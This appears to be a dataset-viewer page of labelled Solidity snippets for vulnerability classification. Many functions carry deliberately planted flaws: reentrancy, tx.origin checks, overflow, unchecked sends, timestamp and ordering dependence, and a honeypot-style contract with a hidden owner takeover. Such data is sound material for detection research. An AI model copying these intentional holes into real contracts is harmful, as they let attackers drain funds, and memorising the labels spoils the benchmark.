Unnamed: 0
int64 1
24.8k
| func
stringlengths 26
42.8k
| target
int64 0
7
| project
stringlengths 9
47
|
---|---|---|---|
23,630 | function bug_unchk_send2() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_43.sol |
2,628 | function changeOwner(address _owner) onlyowner {
creator = _owner;
} | 0 | rubixi.sol |
7,663 | function balanceOf(address _owner) public view returns (uint256 value); | 0 | buggy_32.sol |
13,424 | function setReward_TOD4() public payable {
require (!claimed_TOD4);
require(msg.sender == owner_TOD4);
owner_TOD4.transfer(reward_TOD4);
reward_TOD4 = msg.value;
} | 4 | buggy_43.sol |
2,030 | function allowance(address owner, address spender) external view returns (uint256); | 0 | buggy_40.sol |
4,534 | function bug_intou39() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_22.sol |
1,370 | function bug_txorigin4(address owner_txorigin4) public{
require(tx.origin == owner_txorigin4);
} | 1 | buggy_7.sol |
15,559 | contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
mapping(address => uint) userBalance_re_ent12;
function withdrawBalance_re_ent12() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent12[msg.sender]) ) ){
revert();
}
userBalance_re_ent12[msg.sender] = 0;
}
function name() public view returns(string memory) {
return _name;
}
mapping(address => uint) redeemableEther_re_ent11;
function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
}
function symbol() public view returns(string memory) {
return _symbol;
}
mapping(address => uint) balances_re_ent1;
function withdraw_balances_re_ent1 () public {
(bool success,) =msg.sender.call.value(balances_re_ent1[msg.sender ])("");
if (success)
balances_re_ent1[msg.sender] = 0;
}
function decimals() public view returns(uint8) {
return _decimals;
}
bool not_called_re_ent41 = true;
function bug_re_ent41() public{
require(not_called_re_ent41);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent41 = false;
}
} | 5 | buggy_27.sol |
18,694 | function balanceOf(address _owner) public view returns (uint256 value) {
return balances[_owner];
} | 0 | buggy_32.sol |
20,706 | contract Owned {
function bug_tmstmp28 () public payable {
uint pastBlockTime_tmstmp28; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp28); // only 1 transaction per block //bug
pastBlockTime_tmstmp28 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
address public owner;
constructor() internal {
owner = msg.sender;
owner = 0x800A4B210B920020bE22668d28afd7ddef5c6243
;
}
function bug_tmstmp4 () public payable {
uint pastBlockTime_tmstmp4; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp4); // only 1 transaction per block //bug
pastBlockTime_tmstmp4 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint256 bugv_tmstmp5 = block.timestamp;
} | 6 | buggy_12.sol |
16,932 | function withdraw_balances_re_ent36 () public {
if (msg.sender.send(balances_re_ent36[msg.sender ]))
balances_re_ent36[msg.sender] = 0;
} | 5 | buggy_40.sol |
22,533 | function approve(address spender, uint value) returns (bool ok); | 0 | 0x19cf8481ea15427a98ba3cdd6d9e14690011ab10.sol |
9,619 | contract ForTheBlockchain is ERC20Interface, Owned {
using SafeMath for uint;
function bug_unchk43() public{
address payable addr_unchk43;
if (!addr_unchk43.send (10 ether) || 1==1)
{revert();}
}
string public symbol;
function my_func_uncheck48(address payable dst) public payable{
dst.call.value(msg.value)("");
}
uint public decimals;
function withdrawBal_unchk17 () public{
uint64 Balances_unchk17 = 0;
msg.sender.send(Balances_unchk17);}
string public name;
function callnotchecked_unchk37(address payable callee) public {
callee.call.value(1 ether);
}
uint _totalSupply;
function bug_unchk3(address payable addr) public
{addr.send (42 ether); }
mapping(address => uint) balances;
bool public payedOut_unchk9 = false;
function withdrawLeftOver_unchk9() public {
require(payedOut_unchk9);
msg.sender.send(address(this).balance);
}
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "FTB";
name = "ForTheBlockchain";
decimals = 8;
_totalSupply =100000000 * 10**(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function unhandledsend_unchk14(address payable callee) public {
callee.send(5 ether);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function bug_unchk30() public{
uint receivers_unchk30;
address payable addr_unchk30;
if (!addr_unchk30.send(42 ether))
{receivers_unchk30 +=1;}
else
{revert();}
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
bool public payedOut_unchk8 = false;
address payable public winner_unchk8;
uint public winAmount_unchk8;
function sendToWinner_unchk8() public {
require(!payedOut_unchk8);
winner_unchk8.send(winAmount_unchk8);
payedOut_unchk8 = true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function bug_unchk39(address payable addr) public
{addr.send (4 ether); }
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function my_func_uncheck36(address payable dst) public payable{
dst.call.value(msg.value)("");
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
bool public payedOut_unchk44 = false;
address payable public winner_unchk44;
uint public winAmount_unchk44;
function sendToWinner_unchk44() public {
require(!payedOut_unchk44);
winner_unchk44.send(winAmount_unchk44);
payedOut_unchk44 = true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function UncheckedExternalCall_unchk40 () public
{ address payable addr_unchk40;
if (! addr_unchk40.send (2 ether))
{// comment1;
}
else
{//comment2;
}
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
bool public payedOut_unchk33 = false;
function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function bug_unchk27(address payable addr) public
{addr.send (42 ether); }
} | 3 | buggy_11.sol |
8,867 | function sendToWinner_unchk44() public {
require(!payedOut_unchk44);
winner_unchk44.send(winAmount_unchk44);
payedOut_unchk44 = true;
} | 3 | buggy_45.sol |
6,309 | contract YFT is Ownable, TokenERC20 {
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
uint256 public sellPrice;
mapping(address => uint) public lockTime_intou37;
function increaseLockTime_intou37(uint _secondsToIncrease) public {
lockTime_intou37[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou37() public {
require(now > lockTime_intou37[msg.sender]);
uint transferValue_intou37 = 10;
msg.sender.transfer(transferValue_intou37);
}
uint256 public buyPrice;
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug
balances_intou14[msg.sender] -= _value; //bug
balances_intou14[_to] += _value; //bug
return true;
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug
balances_intou30[msg.sender] -= _value; //bug
balances_intou30[_to] += _value; //bug
return true;
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function bug_intou8(uint8 p_intou8) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou8; // overflow bug
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function bug_intou39() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(address(this), msg.sender, amount); // makes the transfers
}
function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
address myAddress = address(this);
require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, address(this), amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
} | 2 | buggy_8.sol |
6,231 | function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_8.sol |
10,617 | function getReward_TOD13() payable public{
winner_TOD13.transfer(msg.value);
} | 4 | buggy_30.sol |
17,364 | function buyTicket_re_ent9() public{
(bool success,) = lastPlayer_re_ent9.call.value(jackpot_re_ent9)("");
if (!success)
revert();
lastPlayer_re_ent9 = msg.sender;
jackpot_re_ent9 = address(this).balance;
} | 5 | buggy_38.sol |
523 | function sendto_txorigin29(address payable receiver, uint amount,address owner_txorigin29) public {
require (tx.origin == owner_txorigin29);
receiver.transfer(amount);
} | 1 | buggy_18.sol |
18,469 | function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800;
} | 6 | buggy_18.sol |
2,221 | function getOperator() public view returns (address operator) {
operator = _operator;
} | 0 | buggy_43.sol |
86 | function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31);
to.call.value(amount);
} | 1 | buggy_31.sol |
10,036 | function decimals() public view returns (uint8) {
return _decimals;
} | 0 | buggy_14.sol |
8,048 | function UncheckedExternalCall_unchk4 () public
{ address payable addr_unchk4;
if (! addr_unchk4.send (42 ether))
{// comment1;
}
else
{//comment2;
}
} | 3 | buggy_23.sol |
24,485 | function bug_unchk_send3() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_17.sol |
24,014 | function transfer(address to, uint256 value) external returns (bool); | 0 | buggy_38.sol |
8,110 | function balanceOf(address who) external view returns (uint256); | 0 | buggy_23.sol |
15,091 | constructor () internal {
_paused = false;
} | 0 | buggy_30.sol |
21,077 | function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
} | 6 | buggy_14.sol |
14,660 | function play_TOD19(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD19 = msg.sender;
}
} | 4 | buggy_14.sol |
11,265 | function setReward_TOD10() public payable {
require (!claimed_TOD10);
require(msg.sender == owner_TOD10);
owner_TOD10.transfer(reward_TOD10);
reward_TOD10 = msg.value;
} | 4 | buggy_27.sol |
18,334 | function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
} | 0 | buggy_30.sol |
16,710 | function withdrawBalance_re_ent40() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)=msg.sender.call.value(userBalance_re_ent40[msg.sender])("");
if( ! success ){
revert();
}
userBalance_re_ent40[msg.sender] = 0;
} | 5 | buggy_44.sol |
4,886 | function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow
} | 2 | buggy_20.sol |
9,270 | function getProofHash() public view returns (bytes memory proofHash) {
proofHash = MultiHashWrapper._combineMultiHash(_proofHash);
} | 0 | buggy_43.sol |
22,941 | function bug_unchk_send4() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_21.sol |
21,093 | function bug_tmstmp40 () public payable {
uint pastBlockTime_tmstmp40; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp40); // only 1 transaction per block //bug
pastBlockTime_tmstmp40 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
} | 6 | buggy_14.sol |
11,177 | function play_TOD7(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD7 = msg.sender;
}
} | 4 | buggy_33.sol |
21,969 | function changeStakingPercentage(uint _newStakePercentage) public onlyOwner{
stakePercentage = _newStakePercentage;
} | 0 | buggy_33.sol |
9,915 | constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
} | 0 | buggy_28.sol |
20,393 | function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
} | 6 | buggy_9.sol |
20,575 | function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800;
} | 6 | buggy_11.sol |
10,253 | function play_TOD33(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD33 = msg.sender;
}
} | 4 | buggy_25.sol |
18,630 | function name() public view returns (string memory) {
return _name;
} | 0 | buggy_26.sol |
20,562 | function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
} | 0 | buggy_11.sol |
6,555 | function Ownable() {
owner = msg.sender;
} | 0 | BECToken.sol |
8,983 | function bug_unchk7() public{
address payable addr_unchk7;
if (!addr_unchk7.send (10 ether) || 1==1)
{revert();}
} | 3 | buggy_44.sol |
9,916 | function sendToWinner_unchk32() public {
require(!payedOut_unchk32);
winner_unchk32.send(winAmount_unchk32);
payedOut_unchk32 = true;
} | 3 | buggy_28.sol |
4,345 | function withdraw_intou9() public {
require(now > lockTime_intou9[msg.sender]);
uint transferValue_intou9 = 10;
msg.sender.transfer(transferValue_intou9);
} | 2 | buggy_23.sol |
22,384 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); | 0 | buggy_36.sol |
10,996 | function play_TOD13(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD13 = msg.sender;
}
} | 4 | buggy_26.sol |
5,134 | function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug
} | 2 | buggy_4.sol |
1,681 | function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
require(!safeGuard,"System Paused by Admin");
//amount is in amountGet terms
bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
require((
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires &&
orderFills[user][hash].add(amount) <= amountGet
));
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = orderFills[user][hash].add(amount);
emit Trade(now, tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
} | 0 | buggy_35.sol |
10,296 | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
} | 0 | buggy_24.sol |
10,930 | function claimReward_TOD4(uint256 submission) public {
require (!claimed_TOD4);
require(submission < 10);
msg.sender.transfer(reward_TOD4);
claimed_TOD4 = true;
} | 4 | buggy_3.sol |
12,880 | function claimReward_TOD36(uint256 submission) public {
require (!claimed_TOD36);
require(submission < 10);
msg.sender.transfer(reward_TOD36);
claimed_TOD36 = true;
} | 4 | buggy_47.sol |
4,429 | function totalSupply() public view returns (uint256); | 0 | buggy_36.sol |
20,975 | function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}} | 6 | buggy_29.sol |
7,075 | function sendToWinner_unchk20() public {
require(!payedOut_unchk20);
winner_unchk20.send(winAmount_unchk20);
payedOut_unchk20 = true;
} | 3 | buggy_25.sol |
14,821 | function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
} | 5 | buggy_25.sol |
7,704 | function my_func_uncheck36(address payable dst) public payable{
dst.call.value(msg.value)("");
} | 3 | buggy_32.sol |
11,586 | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
} | 0 | buggy_23.sol |
472 | contract SKYBITToken is ERC777, MinterRole, Pausable {
constructor(
uint256 initialSupply,
address[] memory defaultOperators
)
ERC777("SKYBIT", "SKYBIT", defaultOperators)
public {
_mint(msg.sender, msg.sender, initialSupply, "", "");
}
function transferTo_txorigin39(address to, uint amount,address owner_txorigin39) public {
require(tx.origin == owner_txorigin39);
to.call.value(amount);
}
function mint(address operator, address account, uint256 amount, bytes memory userData, bytes memory operatorData) public onlyMinter returns (bool) {
_mint(operator, account, amount, userData, operatorData);
return true;
}
function bug_txorigin36( address owner_txorigin36) public{
require(tx.origin == owner_txorigin36);
}
} | 1 | buggy_30.sol |
11,083 | function transfer(address _to, uint256 _value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
} | 0 | buggy_32.sol |
16,212 | function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
} | 0 | buggy_34.sol |
229 | function tokensToSend(
address operator,
address from,
address to,
uint amount,
bytes calldata userData,
bytes calldata operatorData
) external; | 0 | buggy_30.sol |
16,488 | function buyTicket_re_ent30() public{
if (!(lastPlayer_re_ent30.send(jackpot_re_ent30)))
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
} | 5 | buggy_4.sol |
3,700 | function transferFrom(address from, address to, uint tokens) public returns(bool success) {
uint toBurn = tokens.mul(burnPercent).div(1000);
uint toSend = tokens.sub(toBurn);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(toSend);
emit Transfer(from, to, toSend);
balances[address(0)] = balances[address(0)].add(toBurn);
emit Transfer(from, address(0), toBurn);
return true;
} | 0 | buggy_18.sol |
18,430 | function send(address recipient, uint256 amount, bytes calldata data) external; | 0 | buggy_30.sol |
10,593 | function claimReward_TOD4(uint256 submission) public {
require (!claimed_TOD4);
require(submission < 10);
msg.sender.transfer(reward_TOD4);
claimed_TOD4 = true;
} | 4 | buggy_30.sol |
14,675 | function play_TOD23(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD23 = msg.sender;
}
} | 4 | buggy_14.sol |
19,814 | function getCurrentState() public view returns(State){
if(ieoState == State.halted){
return State.halted;
}else if(block.timestamp < saleStart){
return State.beforeStart;
}else if(block.timestamp >= saleStart && block.timestamp <= saleEnd){
return State.running;
}else{
return State.afterEnd;
}
} | 0 | buggy_47.sol |
22,815 | function release(
address _pool,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
)
external; | 0 | buggy_20.sol |
23,805 | contract WhaleGiveaway2
{
address public Owner = msg.sender;
uint constant public minEligibility = 0.999001 ether;
function()
public
payable
{
}
function redeem()
public
payable
{
if(msg.value>=minEligibility)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
// <yes> <report> UNCHECKED_LL_CALLS
adr.call.value(msg.value)(data);
}
} | 7 | 0x3f2ef511aa6e75231e4deafc7a3d2ecab3741de2.sol |
19,682 | function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) internal {
uint tradingFeeXfer = calculatePercentage(amount,tradingFee);
tokens[tokenGet][msg.sender] = tokens[tokenGet][msg.sender].sub(amount.add(tradingFeeXfer));
tokens[tokenGet][user] = tokens[tokenGet][user].add(amount.sub(tradingFeeXfer));
tokens[address(0)][feeAccount] = tokens[address(0)][feeAccount].add(tradingFeeXfer);
tokens[tokenGive][user] = tokens[tokenGive][user].sub(amountGive.mul(amount) / amountGet);
tokens[tokenGive][msg.sender] = tokens[tokenGive][msg.sender].add(amountGive.mul(amount) / amountGet);
} | 0 | buggy_35.sol |
7,111 | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
} | 0 | buggy_24.sol |
22,088 | function bug_unchk_send20() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_2.sol |
6,837 | function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug
} | 2 | buggy_28.sol |
8,359 | function unhandledsend_unchk14(address payable callee) public {
callee.send(5 ether);
} | 3 | buggy_7.sol |
6,062 | function balanceOf(address who) external view returns (uint256); | 0 | buggy_38.sol |
19,375 | function play_tmstmp7(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp7 = msg.sender;}} | 6 | buggy_5.sol |
13,814 | function claimReward_TOD12(uint256 submission) public {
require (!claimed_TOD12);
require(submission < 10);
msg.sender.transfer(reward_TOD12);
claimed_TOD12 = true;
} | 4 | buggy_38.sol |
17,970 | function()
public
payable
{
Put(0);
} | 0 | 0xf015c35649c82f5467c9c74b7f28ee67665aad68.sol |
24,077 | function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
} | 0 | buggy_38.sol |
12,161 | function _start() internal
{
emit Started();
stopped = false;
} | 0 | buggy_7.sol |
6,737 | function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_29.sol |
16,086 | function master() public view returns (address)
{
return _master;
} | 0 | buggy_7.sol |
22,761 | function bug_unchk_send11() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_34.sol |
15,465 | function allowance(address _owner, address _spender) public view returns (uint256 remaining); | 0 | buggy_32.sol |
16,909 | function totalSupply() public view returns (uint256) {
return _totalSupply;
} | 0 | buggy_40.sol |
24,243 | function bug_unchk_send27() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_8.sol |
23,439 | function allowance(address owner, address spender) external view returns (uint256); | 0 | buggy_40.sol |
17,453 | function withdraw_balances_re_ent1 () public {
(bool success,) =msg.sender.call.value(balances_re_ent1[msg.sender ])("");
if (success)
balances_re_ent1[msg.sender] = 0;
} | 5 | buggy_11.sol |
21,040 | function findtwoPercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 twoPercent = roundValue.mul(basePercent).div(5000);
return twoPercent;
} | 0 | buggy_28.sol |
15,089 | function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
} | 5 | buggy_30.sol |
23,255 | function bug_unchk_send17() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_50.sol |
2,647 | function sendTo(address receiver, uint amount) public {
// <yes> <report> ACCESS_CONTROL
require(tx.origin == owner);
receiver.transfer(amount);
} | 1 | mycontract.sol |
19,173 | function bug_tmstmp37() view public returns (bool) {
return block.timestamp >= 1546300800;
} | 6 | buggy_36.sol |
14,885 | function getAbortInvestAmount(User memory user) private view returns (uint256 amount) {
uint256 commissionDays = now.sub(user.currentInvestTime).div(ONE_DAY);
require(commissionDays >= 3, "Invest time must >= 3days");
uint256 lossRatio = 15;
if (commissionDays >= 60) {
lossRatio = 5;
} else if (commissionDays >= 30) {
lossRatio = 10;
}
amount = user.currentInvestAmount;
amount = amount.sub(user.currentInvestAmount.mul(lossRatio).div(100));
} | 0 | buggy_24.sol |
17,524 | function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
} | 5 | buggy_16.sol |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.